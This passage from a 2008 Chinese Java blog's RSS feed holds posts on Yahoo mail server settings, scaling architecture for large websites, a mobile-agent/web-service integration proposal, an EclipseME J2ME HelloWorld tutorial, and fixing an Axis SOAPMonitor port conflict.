交&#8221;按钮。 <br />
5. 此时&#8220;网上直投&#8221;注册成功，系统会告诉你的&#8220;服务器设置&#8221;： <br />
接收邮件(POP3)服务器：POP.MAIL.YAHOO.COM.CN <br />
发送邮件(SMTP)服务器：SMTP.MAIL.YAHOO.COM.CN
<img src ="http://www.blogjava.net/zqli/aggbug/211827.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-07-01 10:14 <a href="http://www.blogjava.net/zqli/archive/2008/07/01/211827.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]大型互联网网站架构心得之一：分</title><link>http://www.blogjava.net/zqli/archive/2008/06/19/209138.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Thu, 19 Jun 2008 05:25:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/06/19/209138.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/209138.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/06/19/209138.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/209138.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/209138.html</trackback:ping><description><![CDATA[我们知道，对于一个大型网站来说，可伸缩性是非常重要的，怎么样在纵向和横向有良好的可伸缩性，就需要在做架构设计的时候考虑到一个分的原则，我想在多个方面说一下怎么分：
<p><font face="Verdana"><strong>首先是横向的分：<br />
</strong>1.&nbsp;大的网站化解为多个小网站：当我们一个网站有多个功能的时候，可以考虑把这个网站拆分成几个小模块，每一个模块可以是一个网站，这样的话我们到时候就可以很灵活地去把这些网站部署到不同的服务器上。<br />
2.&nbsp;静态动态分离：静态文件和动态文件最好分离开成2个网站，我们知道静态网站和动态网站对服务器来说压力的侧重不同，前者可能重IO后者重CPU，那么我们在选择硬件的时候也可以有侧重，而且静态和动态内容的缓存策略也不一样。典型的应用，我们一般会有独立的文件或图片服务器。<br />
3.&nbsp;按照功能来分：比如有一个模块是负责上传的，上传操作很消耗时间，如果和其它应用混在一起的话很可能，一点点访问就会使服务器瘫痪，这种特殊的模块应该分开。安全的不安全的也要分开，还需要考虑到以后SSL的购买。<br />
</font><font face="Verdana">4.&nbsp;我们不一定要全部用自己的服务器，搜索、报表可以依靠别人的服务，比如google的搜索和报表服务，自己做的不一定比得过别人，服务器带宽都省了。<br />
<br />
<br />
<strong>其次是纵向的分：<br />
</strong>1.&nbsp;文件也相当于数据库，IO的流量可能比数据库还大，这也算是纵向级别的访问，上传的文件图片一定要和WEB服务器分开。当然，数据库和网站都放在一个服务器上的很少了，这是最基本的。<br />
2.&nbsp;对于涉及到数据库访问的动态程序来说，我们可以使用一个中间层（所谓的应用层或逻辑层）来访问数据库（部署在独立的服务器上），最大的好处就是缓存和灵活性。缓存的内存占用比较大，我们要把它和网站进程分开，而且这样做我们可以很方便的去改变一些数据访问的策略，即使到时候数据库有分布的话在这里可以做一个调配工作，这样灵活性就很大了。还有好处是中间层可以做电线网通桥梁，可能网通访问双线再访问电信会比网通直接访问电信服务器快。<br />
<br />
<br />
有人说我不分，我可以做负载均衡，对，是可以的，但是如果分的话，同样的10台机器肯定比不分10台机器可以承受更多的访问量，而且对硬件的需求可能不会很高，因为知道需要哪个硬件特别好。争取让每一个服务期都不空闲，又都不是太忙，合理进行组合调整和扩充，这样的系统伸缩性就高了，能根据访问量来调整的前提就是之前有考虑到分，分的好处是灵活性、伸缩性、隔离性以及安全性。</font></p>
<p><font face="Verdana"><strong>对服务器来说，我们有几点是要长期观察的，任何一点都可能是瓶颈：</strong><br />
1.&nbsp;CPU：动态文件的解析需要比较多的CPU，CPU出现瓶颈就要看是不是哪个功能过长时间占用线程，如果是就分出去。或者就是每一个请求处理时间不长，但是访问量很高，那么就加服务器。CPU是好东西，不能让他干等，不做事情。<br />
2.&nbsp;内存：缓存从IIS进程独立出去，一般对WEB服务器来说内存不够的情况不是很多。内存比磁盘快，要合理利用。<br />
3.&nbsp;磁盘IO：用性能监视器找到哪些文件IO特别大，找到了就分到独立的一组文件服务器上去，或者直接做CDN。磁盘慢，大规模读取数据的应用靠缓存，大规模写入数据的应用可以靠队列来降低突发的并发。<br />
4.&nbsp;网络：我们知道，网络的通讯是比较慢的，比磁盘还慢，如果是做分布式缓存，分布式计算的话，要考虑到物理服务器之间网络通讯的时间，当然，在流量大了以后，这可以提高系统的接纳能力一个等级。静态内容可以借助CSD分担一部分，在做服务器假设的时候还要考虑中国特色的电信网通情况以及防火墙。<br />
<br />
</font><font face="Verdana"><strong>对SQL SERVER数据库服务器来说[UPDATE]：<br />
</strong>其实还是水平分割和纵向分割，一个二维表，水平分割就是横过来切一刀，纵向分割就是竖直切一刀：<br />
1、纵向分割就是，我们不同的应用可以分到不同的DB中，不同的实例中，或者说把某个拥有很多字段的表拆分成小表。<br />
2、横向分割就是，某些应用可能不负载，比如用户注册，但是用户表会非常大，可以把大表分开。可以采用表分区，数据存储在不同文件上，然后再部署到独立物理服务器增加IO吞吐以改善读写性能，土一点的做法就是自己定期把老的数据存档。表分区的另外一个优势可以增加数据查询速度，因为我们的页索引可以有多层了，就像一个文件夹中的文件不要太多，多分几层文件夹一样。<br />
3、还可以通过数据库镜像、复制订阅、事物日志，把读写分开到不同的镜像物理数据库上，一般来说够用，如果还不行可以用硬件来实现数据库的负载均衡。当然，对于BI，我们可能还会有数据仓库。<br />
<br />
架构上考虑到了这些之后，流量大了，就可以在这个的基础上再去调整或者做WEB服务器或者应用服务器的负载均衡。很多时候我们都是在重复发现问题-》找到瓶颈-》解决这个过程。<br />
<br />
</font><font face="Verdana"><strong>典型的架构如下：</strong><br />
<img alt="" src="http://www.cnblogs.com/images/cnblogs_com/lovecherry/asdh9awsdj.jpg" border="0" /><br />
<br />
动态WEB服务器配好点的CPU，静态WEB服务器和文件服务器磁盘好点<br />
应用服务器内存大点，缓存服务器也是，数据库服务器当然内存和CPU都要好<br />
<br />
<br />
请大家讨论。。。。<br />
<br />
转自http://blog.csdn.net/LoveCherry/archive/2008/06/19/2564096.aspx</font></p>
<img src ="http://www.blogjava.net/zqli/aggbug/209138.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-06-19 13:25 <a href="http://www.blogjava.net/zqli/archive/2008/06/19/209138.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>报告系列：一种移动Agent与Web服务集成的框架</title><link>http://www.blogjava.net/zqli/archive/2008/04/04/190742.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Thu, 03 Apr 2008 23:29:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/04/04/190742.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/190742.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/04/04/190742.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/190742.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/190742.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;
<p style="text-align: center" align="center"><strong><span style="font-size: 22pt; font-family: 宋体">一种移动</span></strong><strong><span style="font-size: 22pt">Agent</span></strong><strong><span style="font-size: 22pt; font-family: 宋体">与</span></strong><strong><span style="font-size: 22pt">Web</span></strong><strong><span style="font-size: 22pt; font-family: 宋体">服务集成的框架</span></strong></p>
<p style="text-align: center" align="center"><strong><span style="font-size: 12pt; font-family: 宋体">***</span></strong></p>
<p style="text-align: center" align="center"><span style="font-size: 12pt; font-family: 宋体">（**大学网络智能计算实验室</span><span style="font-size: 12pt; font-family: 宋体">）</span></p>
<h2 style="margin: 3pt 0cm; line-height: normal">1 <span style="font-family: 黑体">前言</span></h2>
<p style="text-indent: 21pt"><span style="font-family: 宋体">伴随着</span>WEB<span style="font-family: 宋体">服务技术的出现，不同应用系统之间的集成变为现实。遵循松耦合的结构模型以及公共服务调用规范，</span>WEB<span style="font-family: 宋体">服务技术使得异构系统之间的集成问题变得更容易。但是，如何实现</span>WEB<span style="font-family: 宋体">服务的自动发现，组合，调用等一系列问题急需进一步研究。软件</span>Agent<span style="font-family: 宋体">技术以其自身的优点，被广泛视为一种解决上述相关问题的良药。不幸的是，</span>WEB<span style="font-family: 宋体">服务技术与</span>Agent<span style="font-family: 宋体">技术都是各自遵循相应的规范和标准发展起来的，不仅体系结构不尽相同，通信协议也完全不同。因此，</span>WEB<span style="font-family: 宋体">服务与</span>Agent<span style="font-family: 宋体">技术的集成问题备受业界关注。</span></p>
<p style="text-indent: 21pt"><span style="font-family: 宋体">本人的研究关注的是</span>WEB<span style="font-family: 宋体">服务技术与</span>Agent<span style="font-family: 宋体">技术集成众多方面中的一个，即如何将一个具有移动性质的软件</span>Agent<span style="font-family: 宋体">服务发布成一个</span>Web Service<span style="font-family: 宋体">。除非特别申明，否则下文所指的</span>Agent<span style="font-family: 宋体">即为具有移动性质的软件</span>Agent<span style="font-family: 宋体">。</span></p>
<h2 style="margin: 3pt 0cm; line-height: normal">2<span style="font-family: 黑体">研究现状</span></h2>
<p style="text-indent: 21pt"><span style="font-family: 宋体">这个领域的研究工作主要有：</span></p>
<p style="text-indent: 21pt"><span style="font-family: 宋体">文献【</span>1<span style="font-family: 宋体">】里提出了一种</span>WEB<span style="font-family: 宋体">服务与遵循</span>FIPA<span style="font-family: 宋体">规范的</span>Agent<span style="font-family: 宋体">系统之间的集成架构建议。<br />
<v:roundrect id="_x0000_s1063" style="margin-top: 396.2pt; z-index: 1; left: 0px; margin-left: 181.5pt; width: 108pt; position: absolute; height: 156pt; text-align: left" arcsize="10923f"></v:roundrect><br />
</span></p>
<p style="text-align: center" align="center"><span style="font-family: 黑体"><br />
图表</span> 1 WEB<span style="font-family: 黑体">服务与</span>Agent<span style="font-family: 黑体">集成架构</span></p>
<p style="text-indent: 21pt"><span style="font-family: 宋体">从图中我们可以看出，一个</span>FIPA Agent <span style="font-family: 宋体">服务到</span>WEB<span style="font-family: 宋体">服务网关在两个环境的边界，通过将</span>ACL<span style="font-family: 宋体">消息转换成</span>WEB<span style="font-family: 宋体">服务调用，使得</span>FIPA Agent<span style="font-family: 宋体">可以访问</span>WEB<span style="font-family: 宋体">服务。相反的另一方，</span>WEB<span style="font-family: 宋体">服务到</span>FIPA Agent<span style="font-family: 宋体">网关将</span>Agent<span style="font-family: 宋体">服务注册到</span>UDDI<span style="font-family: 宋体">注册服务器中，方便其它</span>WEB<span style="font-family: 宋体">服务客户端调用。</span></p>
<p style="text-indent: 21pt"><span style="font-family: 宋体">或许是受到了这个集成架构建议的启示，两个先锋组织分别设计并实现了集成架构建议中的两个重要方面问题：文献【</span>2<span style="font-family: 宋体">】能够让</span>Agent<span style="font-family: 宋体">调用现有的</span>WEB<span style="font-family: 宋体">服务；文献【</span>3<span style="font-family: 宋体">】能够将</span>Agent<span style="font-family: 宋体">发布为</span>WEB<span style="font-family: 宋体">服务。文献【</span>3<span style="font-family: 宋体">】的软件实现产品</span>WSAI<span style="font-family: 宋体">（</span>Web Service Agent Integration<span style="font-family: 宋体">）从第一个版本便被开放为开源项目。</span></p>
<p style="text-indent: 21pt"><span style="font-family: 宋体">本人的研究方向和文献【</span>3<span style="font-family: 宋体">】相同，即将</span>Agent<span style="font-family: 宋体">所提供的服务发布为</span>WEB<span style="font-family: 宋体">服务。经过分析</span>WSAI<span style="font-family: 宋体">的理论方法及技术方法发现，发现由如下不足的地方：</span></p>
<p style="text-indent: 21pt">1<span style="font-family: 宋体">、仅局限于静态的</span>Agent<span style="font-family: 宋体">，不能解决</span>Agent<span style="font-family: 宋体">移动后，</span>WEB<span style="font-family: 宋体">服务的可用性，限制了</span>Agent<span style="font-family: 宋体">的最大特点</span>-<span style="font-family: 宋体">移动性。</span></p>
<p style="text-indent: 21pt">2<span style="font-family: 宋体">、限于</span>JADE Agent<span style="font-family: 宋体">系统平台</span>Agent<span style="font-family: 宋体">单线程的特性，使得</span>Agent<span style="font-family: 宋体">异步、有状态通信与</span>WEB<span style="font-family: 宋体">服务的通信模型不能很好的集成。</span></p>
<p style="text-indent: 21pt">3<span style="font-family: 宋体">、被发布为</span>WEB<span style="font-family: 宋体">服务的</span>Agent<span style="font-family: 宋体">仅仅局限于遵循</span>FIPA Agent<span style="font-family: 宋体">规范的</span>Agent<span style="font-family: 宋体">。事实上，</span>Agent<span style="font-family: 宋体">界有主要有两大规范，其一是</span>FIPA<span style="font-family: 宋体">组织制定的，其二是</span>OMG<span style="font-family: 宋体">组织下的</span>Agent<span style="font-family: 宋体">小组。</span></p>
<p style="text-indent: 21pt">4<span style="font-family: 宋体">、从技术的角度讲，</span>WSAI<span style="font-family: 宋体">设计的网关以及</span>WSDL<span style="font-family: 宋体">接口均需要开发人员手工安装、编写，未实现自动化。</span></p>
<p style="text-indent: 21pt"><span style="font-family: 宋体">鉴于以上种种不足，本人希望在</span>WSAI<span style="font-family: 宋体">的基础上，提出一种更健壮、支持面更广的，能将</span>Agent<span style="font-family: 宋体">发布为</span>WEB<span style="font-family: 宋体">服务的框架。</span></p>
<h2 style="margin: 3pt 0cm; line-height: normal">3 Agent<span style="font-family: 黑体">与</span>WEB<span style="font-family: 黑体">服务集成框架</span></h2>
<p style="text-align: center" align="center"><span style="font-family: 黑体">图表</span> 2 Agent<span style="font-family: 黑体">与</span>WEB<span style="font-family: 黑体">服务集成框架</span></p>
<p style="text-indent: 21pt">Agent<span style="font-family: 宋体">与</span>WEB<span style="font-family: 宋体">服务集成框架的核心是</span>WAG<span style="font-family: 宋体">（</span>Web Service Agent Gateway<span style="font-family: 宋体">），它负责将</span>Agent<span style="font-family: 宋体">发布为</span>WEB<span style="font-family: 宋体">服务。而</span>WAG<span style="font-family: 宋体">的实际工作全部由</span>GA<span style="font-family: 宋体">（</span>Gateway Agent<span style="font-family: 宋体">）来承担。初步设计的</span>GA<span style="font-family: 宋体">主要结构如下图所示：</span></p>
<h3 style="margin: 3pt 0cm; line-height: normal"><span style="font-size: 15pt">3.1</span> Gateway Agent</h3>
<p style="text-indent: 21pt"><span style="font-family: 宋体">在接下来的时间里，这一部分的主要工作包括：</span></p>
<h3><span style="font-size: 14pt; line-height: 173%">3.1.1</span><span style="font-size: 14pt; line-height: 173%"> A</span><span style="font-size: 14pt; line-height: 173%">gent Web</span><span style="font-size: 14pt; line-height: 173%; font-family: 宋体">服务的调用机制</span></h3>
<p style="text-indent: 21pt"><span style="font-family: 宋体">描述从</span>WEB<span style="font-family: 宋体">服务客户端调用开始，到调用目标</span>Agent<span style="font-family: 宋体">服务后，最终返回结果的整个过程。</span></p>
<h3><span style="font-size: 14pt; line-height: 173%">3.1.2</span><span style="font-size: 14pt; line-height: 173%; font-family: 宋体">目标</span><span style="font-size: 14pt; line-height: 173%">Agent</span><span style="font-size: 14pt; line-height: 173%; font-family: 宋体">位置管理机制</span></h3>
<p style="text-indent: 21pt"><span style="font-family: 宋体">当目标</span>Agent<span style="font-family: 宋体">发生移动以后，该机制负责</span>WEB<span style="font-family: 宋体">服务的可用性，也即</span>WEB<span style="font-family: 宋体">服务调用可达到目标</span>Agent<span style="font-family: 宋体">服务。</span></p>
<h3 style="margin: 3pt 0cm; line-height: normal"><span style="font-size: 15pt">3.2</span> SOAP<span style="font-family: 宋体">引擎</span></h3>
<p style="text-indent: 21pt"><span style="font-family: 宋体">负责接收来自</span>WEB<span style="font-family: 宋体">服务客户端的调用，并将其</span>SOAP<span style="font-family: 宋体">消息转换成</span>JAVA<span style="font-family: 宋体">类的</span>Web Service<span style="font-family: 宋体">接口。此外，所有的</span>AG<span style="font-family: 宋体">将在该引擎中注册。</span>SOAP<span style="font-family: 宋体">引擎可采用现有的开源项目。</span></p>
<h3 style="margin: 3pt 0cm; line-height: normal"><span style="font-size: 15pt">3.3</span> Gateway Controller</h3>
<p style="text-indent: 21pt"><span style="font-family: 宋体">负责</span>AG<span style="font-family: 宋体">的加载，并发布为</span>Web<span style="font-family: 宋体">服务或者将</span>AG<span style="font-family: 宋体">在</span>UDDI<span style="font-family: 宋体">注册中心中注册。</span></p>
<h2 style="margin: 3pt 0cm; line-height: normal">4 <span style="font-family: 黑体">结束语</span></h2>
<p style="text-indent: 21pt"><span style="font-family: 宋体">接下来的研究工作将围绕</span>WAG<span style="font-family: 宋体">的几大组件展开。目前暂时设计了整体框架结构，当然随着研究工作的进一步深入，现有框架的结构需要进一步完善。</span></p>
<h2 style="margin: 3pt 0cm; line-height: normal">&nbsp;<span style="font-family: 黑体">参考文献</span></h2>
<p><span style="font-family: 宋体">【】</span>FIPA specification. <a href="http://www.fipa.org/specifications/index.html">http://www.fipa.org/specifications/index.html</a></p>
<p><span style="font-family: 宋体">【】</span>Sommers, Frank: Publish and find UDDI tModels with JAXR and WSDL</p>
<p style="margin-left: 10.5pt; text-indent: -10.5pt"><span style="font-family: 宋体">【】</span>Agenticities Web Services Working Grroup. Integrating Web Services into Agentcities Technical Recommendation, <a href="http://www.agentcities.org/Srec/00006/">Http://www.agentcities.org/Srec/00006/</a></p>
<p style="margin-left: 10.5pt; text-indent: -10.5pt"><span style="font-family: 宋体">【】</span>Globus Alliance, IBM, and HP,&#8221;Web service Resource Framework&#8221;, <a href="http://www.golubs.org/">http://www.golubs.org</a></p>
<p style="margin-left: 10.5pt; text-indent: -10.5pt"><span style="font-family: 宋体">【】</span>Whitestein Information Techology Group. Web service agent Integration Project</p>
<p style="margin-left: 10.5pt; text-indent: -10.5pt">&nbsp;&nbsp;&nbsp; <a href="http://wsai.sourceforge.net/index.html">http://wsai.sourceforge.net/index.html</a></p>
<p style="margin-left: 10.5pt; text-indent: -10.5pt"><span style="font-family: 宋体">【】</span>Thang Xuan Nguyen. WS2JAE: Integrating Web Service With Jade Agents.</p>
<img src ="http://www.blogjava.net/zqli/aggbug/190742.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-04-04 07:29 <a href="http://www.blogjava.net/zqli/archive/2008/04/04/190742.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]如何使用EclipseME开发J2ME程序</title><link>http://www.blogjava.net/zqli/archive/2008/03/28/189318.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Fri, 28 Mar 2008 09:53:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/03/28/189318.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/189318.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/03/28/189318.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/189318.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/189318.html</trackback:ping><description><![CDATA[<strong>一、安装和配置准备</strong><br />
　　您需要安装 Eclipse 3.0M9、J2ME Wireless Toolkit 2.1和EclipseMe，Eclipse是IBM公司资助的开源 IDE 开发环境，Eclipse正受到越来越多的开发人员的关注。J2ME Wireless Toolkit 2.1提供了运行 J2ME 应用程序所需要的库以及模拟器等。EclipseMe 插件可以让开发人员在 Eclipse 环境中轻松开发J2ME应用程序。<br />
　　<br />
　　1 安装<br />
　　关于在哪里下载以下软件的链接，请参阅参考资料部分：<br />
　　<br />
　　1. 从 Eclipse 的 Web 站点上下载 Eclipse v3.1或者v3.2。您可以通过将其解压到任何一个选定的目录（这个目录在本文中称为 eclipse_home）中来安装它。(<a href="http://www.eclipse.org/">http://www.eclipse.org/</a>)<br />
　　<br />
　　2. 从 Sun公司 的 Web 站点上下载 J2ME Wireless Toolkit 2.1。您可以安装到任何一个选定的目录中（这个目录在本文中称为 wtk_home）。(<a href="http://www.sun.com/download/index.jsp?cat=Mobility&amp;tab=3&amp;subcat=Wireless%20Toolkits">http://www.sun.com/download/index.jsp?cat=Mobility&amp;tab=3&amp;subcat=Wireless%20Toolkits</a>)<br />
　　<br />
　　3. 下载EclipseME插件V 1.55。您可以通过将其解压到 eclipse_home/eclipse/plugins 目录中来安装它。(<a href="http://eclipseme.org/">http://eclipseme.org/</a>)可以通过Eclipse的插件升级安装(<a href="http://eclipseme.org/updates/">http://eclipseme.org/updates/</a>)<br />
　　<br />
　　4. 从 Sun 的 Web 站点上下载 J2SE SDK。您可以将其安装到任何一个选定的目录（这个目录在本文中称为 java_home）中。<br />
　　<br />
　　2 配置EclipseME 插件<br />
　　要配置EclipseME 插件，请参照官方说明：<a href="http://eclipseme.org/docs/configuring.html">http://eclipseme.org/docs/configuring.html</a>
<p><br />
　　<strong>二、开发 J2ME应用程序</strong><br />
　　在本节中，我们将介绍使用 EclipseMe 插件构建 J2ME 应用程序的基本步骤。首先，您将创建一个 J2ME 项目。然后，您可以开始您的J2ME开发之旅。<br />
　　<br />
　　1 创建 J2ME项目<br />
　　要创建一个 J2ME 项目，回到"File"菜单，选择"New"项，并在子菜单中选择"Project"。然后执行以下步骤：<br />
　　<br />
　　（1.） 进入"J2ME"选项，选择"J2ME Midlet Suite"并单击"Next"（参见图4）。<br />
　　<br />
　　（2.） 填上项目名，并单击"Next"（参见图5）。<br />
　　<br />
　　（3.） 选择可能的平台定义。可以选择"J2ME Wireless Toolkit 2.1 MIDP1.0 Platform"或者"J2ME Wireless Toolkit 2.1 MIDP1.0 Platform",默认为前者。（参见图6）。<br />
　　<br />
　　（4.） 单击"Next"，出现J2ME项目有关设置，这里我们均采用默认设置（参见图7）。<br />
　　<br />
　　（5.） 单击"Finish"，完成项目创建。<br />
　　<br />
　　最终创建 J2ME 项目的结果如图8所示。<br />
</p>
<center>图 4. 创建 J2ME 项目 - 步骤 1</center>
<center>　<img alt="" src="http://java.chinaitlab.com/imgfiles/2004.12.25.11.8.19.4.jpg" /></center>
<center>图 5. 创建 J2ME 项目 - 步骤 2</center>
<center>　<img alt="" src="http://java.chinaitlab.com/imgfiles/2004.12.25.11.8.27.5.jpg" /></center>
<center>图 6. 创建 J2ME 项目 - 步骤 3</center>
<center>　<img alt="" src="http://java.chinaitlab.com/imgfiles/2004.12.25.11.8.36.6.jpg" /></center>
<center>图 7. 创建 J2ME 项目 - 步骤 4</center>
<center>　<img alt="" src="http://java.chinaitlab.com/imgfiles/2004.12.25.11.8.44.7.jpg" /></center>
<p><br />
　　 </p>
<center>图 8. 创建 J2ME 项目 - 最终结果</center>
<p><br />
　　 </p>
<center>　<img alt="" src="http://java.chinaitlab.com/imgfiles/2004.12.25.11.8.55.8.jpg" /></center>
<p><br />
　　2开发 J2ME项目<br />
　　要创建一个 J2ME 应用程序，回到"File"菜单，选择"New"项，并在子菜单中选择"Other"。然后执行以下步骤：<br />
　　<br />
　　（1）. 进入"J2ME"选项，选择"J2ME Midlet"并单击"Next"（参见图9）。<br />
　　<br />
　　（2）. 填上应用程序名，其他设置采用默认设置，并单击"Finish"（参见图10），完成应用程序创建。<br />
　　<br />
　　 </p>
<center>图 9. 创建 J2ME 应用程序 - 步骤 1</center>
<p><br />
　　 </p>
<center>　<img alt="" src="http://java.chinaitlab.com/imgfiles/2004.12.25.11.12.26.9.jpg" /></center>
<p><br />
　　 </p>
<center>图 10 创建 J2ME 应用程序 - 步骤2</center>
<p><br />
　　 </p>
<center>　<img alt="" src="http://java.chinaitlab.com/imgfiles/2004.12.25.11.12.42.10.jpg" /></center>
<p><br />
　　系统会自动生成HelloWorld.java程序以及一段自动生成的代码，最终的程序代码见清单1。<br />
　　<br />
　　清单 1. HelloWorld.java<br />
　　<br />
　　/**<br />
　　 * HelloWorld.java<br />
　　 *<br />
　　 * @author WanHui<br />
　　 */<br />
　　import javax.microedition.lcdui.Display;<br />
　　import javax.microedition.lcdui.TextBox;<br />
　　import javax.microedition.midlet.MIDlet;<br />
　　public class HelloWorld extends MIDlet {<br />
　　 private TextBox textbox;<br />
　　 /**<br />
　　 * Constructor of the HelloWorld class<br />
　　 */<br />
　　 public HelloWorld() {<br />
　　 textbox = new TextBox("", "Hello World!", 20, 0);<br />
　　 }<br />
　　 /*<br />
　　 * The startApp method is used for starting or restarting a MIDlet.<br />
　　 *<br />
　　 * @see javax.microedition.midlet.MIDlet#startApp()<br />
　　 */<br />
　　 public void startApp() {<br />
　　 Display.getDisplay(this).setCurrent(textbox);<br />
　　 }<br />
　　 /*<br />
　　 * The pauseApp method is called by the system to ask a MIDlet to "pause"<br />
　　 *<br />
　　 * @see javax.microedition.midlet.MIDlet#pauseApp()<br />
　　 */<br />
　　 public void pauseApp() {<br />
　　 }<br />
　　 /*<br />
　　 * The destroyApp method is called by the system when the MIDlet is about to<br />
　　 * be destroyed<br />
　　 *<br />
　　 * @see javax.microedition.midlet.MIDlet#destroyApp(boolean)<br />
　　 */<br />
　　 public void destroyApp(boolean unconditional) {<br />
　　 }<br />
　　}<br />
　　<br />
　　3 运行J2ME应用程序<br />
　　要运行一个 J2ME 应用程序，选中一个应用程序，本文中为HelloWorld.java，然后回到"Run"菜单，选择"Run As"项，并在子菜单中选择"1 Emulated J2ME Midlet"。然后Eclipse会启动J2ME Wireless Toolkit 2.1中的模拟器得到运行结果见图11。<br />
　　<br />
　　 </p>
<center>图 11 J2ME 应用程序运行结果</center>
<p><br />
　　 </p>
<center><img alt="" src="http://java.chinaitlab.com/imgfiles/2004.12.25.11.12.54.11.jpg" /></center>
<p><br />
　　<strong>结束语</strong><br />
　　在本文中，我们介绍了 Eclipse IDE 开发环境下使用EclipseMe插件开发J2ME程序。您已经学习了在Eclipse环境下如何创建了一个简单的J2ME应用程序。 </p>
 <img src ="http://www.blogjava.net/zqli/aggbug/189318.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-03-28 17:53 <a href="http://www.blogjava.net/zqli/archive/2008/03/28/189318.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]Axis1.2 下SOAPMonitor问题的解决 </title><link>http://www.blogjava.net/zqli/archive/2008/03/24/188268.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Mon, 24 Mar 2008 08:04:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/03/24/188268.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/188268.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/03/24/188268.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/188268.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/188268.html</trackback:ping><description><![CDATA[<font size="2">Axis1.2＋Jdk1.5＋Tomcat5.5.12 ，安装成功以后，SOAPMonitor能启动，但是红字的一串信息：The SOAPMonitor is unable&nbsp;to&nbsp;communicate with the server. 就表示启动不成功，折腾几天，google查找了好多信息，也没有一个确切的说法，国内有人说版本问题，似乎axis1.2只适用于jdk1.4或是tomcat5.0版本，还真试过改了，也没有效果，在java控制台上有提示非法的本地主机地址。一次偶然的机会，让我知道该改哪个数据了。（同一台机器上安装多个tomcat，相同的端口再现冲突时就需要对端口进行更改）<br />
可能是默认的5001端口被占用，将axis\WEB-INF下的web.xml文件中的SOAPMonitor的端口默认的5001改为其他的不会出现冲突的端口，问题解决。<br />
唉，有时一个不起眼的问题也能折腾死人，解决后只会一声叹息。</font> <br />
<br />
<font size="2">&nbsp;在tomcat容器下自创建的web应用中也启动axis服务，想要添加SOAPMonitor的方法是：<br />
<font color="#0000ff">1、编译<br />
</font>&nbsp;将axis根目录下的SOAPMonitorApplet.java文件复制到web应用的根目录下，编译此文件同时将生成的类文件复制到应用根目录下的WEB-INF目录下。<br />
<font color="#0000ff">2、修改web.xml文件</font><br />
修改WEB-INF目录下的web.xml文件，添加两个元素&lt;servlet&gt;和&lt;servlet-mapping&gt;，具体内容如下：<br />
&lt;servlet&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;servlet-name&gt;SOAPMonitorService&lt;/servlet-name&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;display-name&gt;SOAPMonitorService&lt;/display-name&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;servlet-class&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; org.apache.axis.monitor.SOAPMonitorService<br />
&nbsp;&nbsp;&nbsp; &lt;/servlet-class&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;init-param&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;param-name&gt;SOAPMonitorPort&lt;/param-name&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;param-value&gt;5005&lt;/param-value&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/init-param&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;load-on-startup&gt;100&lt;/load-on-startup&gt;<br />
&nbsp; &lt;/servlet&gt;<br />
&nbsp;&lt;servlet-mapping&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;servlet-name&gt;SOAPMonitorService&lt;/servlet-name&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;url-pattern&gt;/SOAPMonitor&lt;/url-pattern&gt;<br />
&nbsp; &lt;/servlet-mapping&gt;<br />
<font color="#0000ff">3、修改server-config.wsdd文件</font><br />
配置文件中添加soapmonitor的配置信息如：<br />
&lt;handler name="soapmonitor" type="java:org.apache.axis.handlers.SOAPMonitorHandler"&gt;<br />
&nbsp; &lt;service name="SOAPMonitorService" provider="java:RPC"&gt;<br />
